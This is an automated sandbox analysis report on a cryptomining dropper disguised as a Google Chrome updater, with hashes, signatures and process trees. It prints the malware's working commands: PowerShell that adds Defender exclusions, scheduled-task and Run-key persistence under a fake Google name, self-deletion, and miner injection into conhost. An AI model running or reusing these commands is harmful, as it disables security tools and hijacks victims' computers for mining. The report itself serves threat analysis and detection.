Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
334s -
max time network
1796s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2452 created 1260 2452 DLKFnAGYJBNTnxwq.exe 16 PID 2452 created 1260 2452 DLKFnAGYJBNTnxwq.exe 16 PID 2452 created 1260 2452 DLKFnAGYJBNTnxwq.exe 16 PID 2452 created 1260 2452 DLKFnAGYJBNTnxwq.exe 16 PID 2288 created 1260 2288 updater.exe 16 PID 2288 created 1260 2288 updater.exe 16 PID 2288 created 1260 2288 updater.exe 16 PID 2288 created 1260 2288 updater.exe 16 PID 1624 created 1260 1624 conhost.exe 16 PID 2288 created 1260 2288 updater.exe 16 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral9/memory/2432-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/2432-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2620 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2288 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2944 taskeng.exe -
resource yara_rule behavioral9/memory/2432-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/2432-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2288 set thread context of 1624 2288 updater.exe 54 PID 2288 set thread context of 2432 2288 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe DLKFnAGYJBNTnxwq.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2688 schtasks.exe 2900 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1528 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 206624fabf50da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2452 DLKFnAGYJBNTnxwq.exe 2452 DLKFnAGYJBNTnxwq.exe 2704 powershell.exe 2452 DLKFnAGYJBNTnxwq.exe 2452 DLKFnAGYJBNTnxwq.exe 2584 powershell.exe 2452 DLKFnAGYJBNTnxwq.exe 2452 DLKFnAGYJBNTnxwq.exe 2452 DLKFnAGYJBNTnxwq.exe 2452 DLKFnAGYJBNTnxwq.exe 2596 powershell.exe 2288 updater.exe 2288 updater.exe 1748 powershell.exe 2288 updater.exe 2288 updater.exe 916 powershell.exe 2288 updater.exe 2288 updater.exe 2288 updater.exe 2288 updater.exe 1624 conhost.exe 1624 conhost.exe 2288 updater.exe 2288 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2704 powershell.exe Token: SeDebugPrivilege 2584 powershell.exe Token: SeDebugPrivilege 2596 powershell.exe Token: SeDebugPrivilege 1748 powershell.exe Token: SeDebugPrivilege 916 powershell.exe Token: SeDebugPrivilege 2288 updater.exe Token: SeAssignPrimaryTokenPrivilege 1528 WMIC.exe Token: SeIncreaseQuotaPrivilege 1528 WMIC.exe Token: SeSecurityPrivilege 1528 WMIC.exe Token: SeTakeOwnershipPrivilege 1528 WMIC.exe Token: SeLoadDriverPrivilege 1528 WMIC.exe Token: SeSystemtimePrivilege 1528 WMIC.exe Token: SeBackupPrivilege 1528 WMIC.exe Token: SeRestorePrivilege 1528 WMIC.exe Token: SeShutdownPrivilege 1528 WMIC.exe Token: SeSystemEnvironmentPrivilege 1528 WMIC.exe Token: SeUndockPrivilege 1528 WMIC.exe Token: SeManageVolumePrivilege 1528 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1528 WMIC.exe Token: SeIncreaseQuotaPrivilege 1528 WMIC.exe Token: SeSecurityPrivilege 1528 WMIC.exe Token: SeTakeOwnershipPrivilege 1528 WMIC.exe Token: SeLoadDriverPrivilege 1528 WMIC.exe Token: SeSystemtimePrivilege 1528 WMIC.exe Token: SeBackupPrivilege 1528 WMIC.exe Token: SeRestorePrivilege 1528 WMIC.exe Token: SeShutdownPrivilege 1528 WMIC.exe Token: SeSystemEnvironmentPrivilege 1528 WMIC.exe Token: SeUndockPrivilege 1528 WMIC.exe Token: SeManageVolumePrivilege 1528 WMIC.exe Token: SeLockMemoryPrivilege 2432 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2584 wrote to memory of 2688 2584 powershell.exe 32 PID 2584 wrote to memory of 2688 2584 powershell.exe 32 PID 2584 wrote to memory of 2688 2584 powershell.exe 32 PID 2620 wrote to memory of 628 2620 cmd.exe 35 PID 2620 wrote to memory of 628 2620 cmd.exe 35 PID 2620 wrote to memory of 628 2620 cmd.exe 35 PID 2596 wrote to memory of 2948 2596 powershell.exe 38 PID 2596 wrote to memory of 2948 2596 powershell.exe 38 PID 2596 wrote to memory of 2948 2596 powershell.exe 38 PID 2944 wrote to memory of 2288 2944 taskeng.exe 40 PID 2944 wrote to memory of 2288 2944 taskeng.exe 40 PID 2944 wrote to memory of 2288 2944 taskeng.exe 40 PID 916 wrote to memory of 2900 916 powershell.exe 47 PID 916 wrote to memory of 2900 916 powershell.exe 47 PID 916 wrote to memory of 2900 916 powershell.exe 47 PID 2288 wrote to memory of 1624 2288 updater.exe 54 PID 1620 wrote to memory of 1528 1620 cmd.exe 48 PID 1620 wrote to memory of 1528 1620 cmd.exe 48 PID 1620 wrote to memory of 1528 1620 cmd.exe 48 PID 2288 wrote to memory of 2432 2288 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1260
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2452
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2704
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2688
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2620
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2948
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1748
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:916 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2900
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1640
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1620
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1624
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2432
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:628
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C:\Windows\system32\taskeng.exetaskeng.exe {F4B07FC2-415E-4785-9EBC-D6491E090F26} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2288
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1528
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
78KB
MD59871c7528ba4a0c80cc1919019b01014
SHA135e493882858013230e8738f2072650220780b58
SHA256ebb9f2b348adb8870daeac22b6b60929c88f1d2d317f714a1c98783c068acaf1
SHA512a38821c620f6aba98202255513cad140037944bf8d12f67489f9a6034f9ed15cb496207613dfd10f9d0783c3a91c33f30fb776be34002de51ceec7cc338ed50e
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Filesize
811KB
MD51d393fad21dc3943fcca4147a12e220b
SHA1d5506eba337671d4d2a883a2eb2dcda078e40007
SHA256067d0674a2dc9e2457e549dd05aaf4552a2187277e87982155d44fe1d97e5e30
SHA5127572e4c0b6ce0e2d8bc5401d99e05e1501b75c94a9f676356e203261faaae667dd7fa5cb539e39468c194d6d4dac18f249cecc546f8650321a19560779ce951d
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WODKUXLS3ZHAWSU0NV7X.temp
Filesize7KB
MD537434c83544edd8b4b1322846d3926f6
SHA18d3b803665970acdf2e82e40903cc6ea92f06d7f
SHA2561c440094c983046add316b430fb202fa68393d9c122402330435dc8b55db2f49
SHA512d4f8c08de6e6f4096f1f407fae33ac28810e29c54ab0ad20908ac50d5f38176d998b69840c09e3bda00de54caa1b2adb4dc9be4d848a6da81aded7db45b61b43
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Filesize
161KB
MD50be66da7c7a29b0806426afcd554a7fc
SHA1a5acd5faa117dc59fc5a09b8830d4986cf1e823d
SHA256e0dae64da5873d7c8fd7f1c1bd589c889db1d34d7a1661a6dd0fe54cf8e48aa1
SHA51257b61397a2822d6c60710e89209be81731cdad04c0dfb298a5378dc763ec2954bc0105feb9da24e6adf8189c6a54bbe38b3ae4795985a19618bbf0f785a4a0e1